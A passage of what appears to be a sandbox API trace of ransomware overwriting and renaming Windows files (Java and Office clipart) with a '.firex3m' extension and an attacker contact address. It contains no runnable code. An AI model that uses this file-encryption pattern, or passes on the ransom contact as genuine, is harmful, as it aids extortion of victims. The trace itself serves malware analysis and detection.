cAlternateFileName="JFRJAR~1.FIR")) returned 0x6d5340 [0124.463] FindClose (in: hFindFile=0x6d5340 | out: hFindFile=0x6d5340) returned 1 [0124.463] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr.jar.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x710 [0124.463] GetProcessHeap () returned 0x630000 [0124.463] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x7220b28 [0124.463] GetProcessHeap () returned 0x630000 [0124.463] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x72d3518 [0124.464] SetFilePointerEx (in: hFile=0x710, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.464] ReadFile (in: hFile=0x710, lpBuffer=0x7220b28, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x483ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7220b28*, lpNumberOfBytesRead=0x483ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0128.205] GetProcessHeap () returned 0x630000 [0128.205] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317838 [0128.205] SetFilePointerEx (in: hFile=0x710, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.205] WriteFile (in: hFile=0x710, lpBuffer=0x72d3518*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x483ff0c, lpOverlapped=0x0 | out: lpBuffer=0x72d3518*, lpNumberOfBytesWritten=0x483ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0129.806] SetFilePointerEx (in: hFile=0x710, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.807] WriteFile (in: hFile=0x710, lpBuffer=0x72de917*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x483ff0c, lpOverlapped=0x0 | out: lpBuffer=0x72de917*, lpNumberOfBytesWritten=0x483ff0c*=0x20, lpOverlapped=0x0) returned 1 [0129.814] SetFilePointerEx (in: hFile=0x710, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.814] WriteFile (in: hFile=0x710, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x483ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x483ff0c*=0x4, lpOverlapped=0x0) returned 1 [0129.814] CloseHandle (hObject=0x710) returned 1 [0129.826] GetProcessHeap () returned 0x630000 [0129.826] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x72d3518 | out: hHeap=0x630000) returned 1 [0129.827] GetProcessHeap () returned 0x630000 [0129.827] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7220b28 | out: hHeap=0x630000) returned 1 [0129.827] GetProcessHeap () returned 0x630000 [0129.827] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317838 | out: hHeap=0x630000) returned 1 [0131.535] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x483ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0131.535] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x483fcc4 | out: lpFindFileData=0x483fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x13548063, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x88de9, dwReserved0=0xbac7496, dwReserved1=0x7220b20, cFileName="jfr.jar.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="JFRJAR~1.FIR")) returned 0x6d4e40 [0131.535] FindClose (in: hFindFile=0x6d4e40 | out: hFindFile=0x6d4e40) returned 1 [0131.536] Sleep (dwMilliseconds=0x1) [0133.311] SysReAllocStringLen (in: pbstr=0x483ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF", len=0x44 | out: pbstr=0x483ff7c*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 1 [0133.311] GetProcessHeap () returned 0x630000 [0133.311] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0xe0) returned 0x66a3e0 [0133.311] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02724_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ec [0133.312] CloseHandle (hObject=0x5ec) returned 1 [0133.312] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x483ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0133.312] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02724_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02724_.wmf.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0133.313] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x483ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0133.313] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x483fc6c | out: lpFindFileData=0x483fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc3d96c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcc3d96c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcc89dc9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x83c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN02724_.WMF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="AN0272~1.FIR")) returned 0x6d5200 [0133.313] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0133.313] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02724_.wmf.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ec [0133.313] GetProcessHeap () returned 0x630000 [0133.313] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x841) returned 0x7083430 [0133.313] GetProcessHeap () returned 0x630000 [0133.313] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x841) returned 0x72d0868 [0133.313] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.313] ReadFile (in: hFile=0x5ec, lpBuffer=0x7083430, nNumberOfBytesToRead=0x820, lpNumberOfBytesRead=0x483ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7083430*, lpNumberOfBytesRead=0x483ff0c*=0x820, lpOverlapped=0x0) returned 1 [0133.398] GetProcessHeap () returned 0x630000 [0133.398] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317720 [0133.398] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.398] WriteFile (in: hFile=0x5ec, lpBuffer=0x72d0868*, nNumberOfBytesToWrite=0x820, lpNumberOfBytesWritten=0x483ff0c, lpOverlapped=0x0 | out: lpBuffer=0x72d0868*, lpNumberOfBytesWritten=0x483ff0c*=0x820, lpOverlapped=0x0) returned 1 [0133.398] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.398] WriteFile (in: hFile=0x5ec, lpBuffer=0x72d1087*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x483ff0c, lpOverlapped=0x0 | out: lpBuffer=0x72d1087*, lpNumberOfBytesWritten=0x483ff0c*=0x20, lpOverlapped=0x0) returned 1 [0133.398] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.398] WriteFile (in: hFile=0x5ec, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x483ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x483ff0c*=0x4, lpOverlapped=0x0) returned 1 [0133.398] CloseHandle (hObject=0x5ec) returned 1 [0133.399] GetProcessHeap () returned 0x630000 [0133.399] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x72d0868 | out: hHeap=0x630000) returned 1 [0133.399] GetProcessHeap () returned 0x630000 [0133.399] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7083430 | out: hHeap=0x630000) returned 1 [0133.399] GetProcessHeap () returned 0x630000 [0133.399] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317720 | out: hHeap=0x630000) returned 1 [0133.399] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x483ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0133.400] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x483fcc4 | out: lpFindFileData=0x483fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc3d96c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcc3d96c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1574a7ee, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x860, dwReserved0=0xbac7496, dwReserved1=0x7083428, cFileName="AN02724_.WMF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="AN0272~1.FIR")) returned 0x6d54c0 [0133.400] FindClose (in: hFindFile=0x6d54c0 | out: hFindFile=0x6d54c0) returned 1 [0133.400] Sleep (dwMilliseconds=0x1) [0133.452] SysReAllocStringLen (in: pbstr=0x483ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF", len=0x44 | out: pbstr=0x483ff7c*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 1 [0133.452] GetProcessHeap () returned 0x630000 [0133.452] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0xd8) returned 0x66a3e0 [0133.452] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02122_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x67c [0133.454] CloseHandle (hObject=0x67c) returned 1 [0133.454] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x483ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0133.454] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02122_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02122_.wmf.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0133.455] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x483ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0133.456] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x483fc6c | out: lpFindFileData=0x483fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc63b1c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcc63b1c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccaffc4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1d74, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN02122_.WMF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="AN0212~1.FIR")) returned 0x6d5200 [0133.484] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0133.484] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02122_.wmf.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x67c [0133.484] GetProcessHeap () returned 0x630000 [0133.484] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1d81) returned 0x717adb8 [0133.484] GetProcessHeap () returned 0x630000 [0133.484] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1d81) returned 0x717cb48 [0133.484] SetFilePointerEx (in: hFile=0x67c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.484] ReadFile (in: hFile=0x67c, lpBuffer=0x717adb8, nNumberOfBytesToRead=0x1d60, lpNumberOfBytesRead=0x483ff0c, lpOverlapped=0x0 | out: lpBuffer=0x717adb8*, lpNumberOfBytesRead=0x483ff0c*=0x1d60, lpOverlapped=0x0) returned 1 [0133.591] GetProcessHeap () returned 0x630000 [0133.591] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7316f78 [0133.592] SetFilePointerEx (in: hFile=0x67c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.592] WriteFile (in: hFile=0x67c, lpBuffer=0x717cb48*, nNumberOfBytesToWrite=0x1d60, lpNumberOfBytesWritten=0x483ff0c, lpOverlapped=0x0 | out: lpBuffer=0x717cb48*, lpNumberOfBytesWritten=0x483ff0c*=0x1d60, lpOverlapped=0x0) returned 1 [0133.592] SetFilePointerEx (in: hFile=0x67c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.592] WriteFile (in: hFile=0x67c, lpBuffer=0x717e8a7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x483ff0c, lpOverlapped=0x0 | out: lpBuffer=0x717e8a7*, lpNumberOfBytesWritten=0x483ff0c*=0x20, lpOverlapped=0x0) returned 1 [0133.592] SetFilePointerEx (in: hFile=0x67c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.592] WriteFile (in: hFile=0x67c, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x483ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x483ff0c*=0x4, lpOverlapped=0x0) returned 1 [0133.592] CloseHandle (hObject=0x67c) returned 1 [0133.593] GetProcessHeap () returned 0x630000 [0133.593] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x717cb48 | out: hHeap=0x630000) returned 1 [0133.593] GetProcessHeap () returned 0x630000 [0133.593] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x717adb8 | out: hHeap=0x630000) returned 1 [0133.593] GetProcessHeap () returned 0x630000 [0133.593] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7316f78 | out: hHeap=0x630000) returned 1 [0133.594] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x483ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0133.594] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x483fcc4 | out: lpFindFileData=0x483fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc63b1c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcc63b1c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1593a6ec, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x1d98, dwReserved0=0xbac7496, dwReserved1=0x717adb0, cFileName="AN02122_.WMF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="AN0212~1.FIR")) returned 0x6d4e00 [0133.594] FindClose (in: hFindFile=0x6d4e00 | out: hFindFile=0x6d4e00) returned 1 [0133.594] Sleep (dwMilliseconds=0x1) [0133.637] SysReAllocStringLen (in: pbstr=0x483ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF", len=0x44 | out: pbstr=0x483ff7c*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 1 [0133.637] GetProcessHeap () returned 0x630000 [0133.637] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0xcc) returned 0x66a3e0 [0133.637] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01218_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ec [0133.639] CloseHandle (hObject=0x5ec) returned 1 [0133.639] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x483ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0133.639] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01218_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01218_.wmf.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0133.642] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x483ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0133.642] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x483fc6c | out: lpFindFileData=0x483fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbf13fd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbf13fd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcc3d96c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xbc4, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN01218_.WMF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="AN0121~1.FIR")) returned 0x6d4ec0 [0133.643] FindClose (in: hFindFile=0x6d4ec0 | out: hFindFile=0x6d4ec0) returned 1 [0133.643] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01218_.wmf.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ec [0133.643] GetProcessHeap () returned 0x630000 [0133.643] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xbe1) returned 0x6fc3c18 [0133.643] GetProcessHeap () returned 0x630000 [0133.643] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xbe1) returned 0x72d0868 [0133.643] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.643] ReadFile (in: hFile=0x5ec, lpBuffer=0x6fc3c18, nNumberOfBytesToRead=0xbc0, lpNumberOfBytesRead=0x483ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fc3c18*, lpNumberOfBytesRead=0x483ff0c*=0xbc0, lpOverlapped=0x0) returned 1 [0133.837] GetProcessHeap () returned 0x630000 [0133.837] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318558 [0133.837] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.837] WriteFile (in: hFile=0x5ec, lpBuffer=0x72d0868*, nNumberOfBytesToWrite=0xbc0, lpNumberOfBytesWritten=0x483ff0c, lpOverlapped=0x0 | out: lpBuffer=0x72d0868*, lpNumberOfBytesWritten=0x483ff0c*=0xbc0, lpOverlapped=0x0) returned 1 [0133.838] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.838] WriteFile (in: hFile=0x5ec, lpBuffer=0x72d1427*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x483ff0c, lpOverlapped=0x0 | out: lpBuffer=0x72d1427*, lpNumberOfBytesWritten=0x483ff0c*=0x20, lpOverlapped=0x0) returned 1 [0133.838] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.838] WriteFile (in: hFile=0x5ec, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x483ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x483ff0c*=0x4, lpOverlapped=0x0) returned 1 [0133.838] CloseHandle (hObject=0x5ec) returned 1 [0133.839] GetProcessHeap () returned 0x630000 [0133.839] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x72d0868 | out: hHeap=0x630000) returned 1 [0133.839] GetProcessHeap () returned 0x630000 [0133.839] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fc3c18 | out: hHeap=0x630000) returned 1 [0133.839] GetProcessHeap () returned 0x630000 [0133.839] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318558 | out: hHeap=0x630000) returned 1 [0133.839] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x483ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0133.839] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x483fcc4 | out: lpFindFileData=0x483fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbf13fd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbf13fd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15b9cd69, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xbe8, dwReserved0=0xbac7496, dwReserved1=0x6fc3c10, cFileName="AN01218_.WMF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="AN0121~1.FIR")) returned 0x6d5480 [0133.839] FindClose (in: hFindFile=0x6d5480 | out: hFindFile=0x6d5480) returned 1 [0133.840] Sleep (dwMilliseconds=0x1) [0133.869] SysReAllocStringLen (in: pbstr=0x483ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF", len=0x44 | out: pbstr=0x483ff7c*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 1 [0133.869] GetProcessHeap () returned 0x630000 [0133.869] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x1b0) returned 0x66a3e0 [0133.869] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00254_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x67c [0133.871] CloseHandle (hObject=0x67c) returned 1 [0133.871] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x483ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0133.871] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00254_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00254_.wmf.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0133.887] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x483ef08, 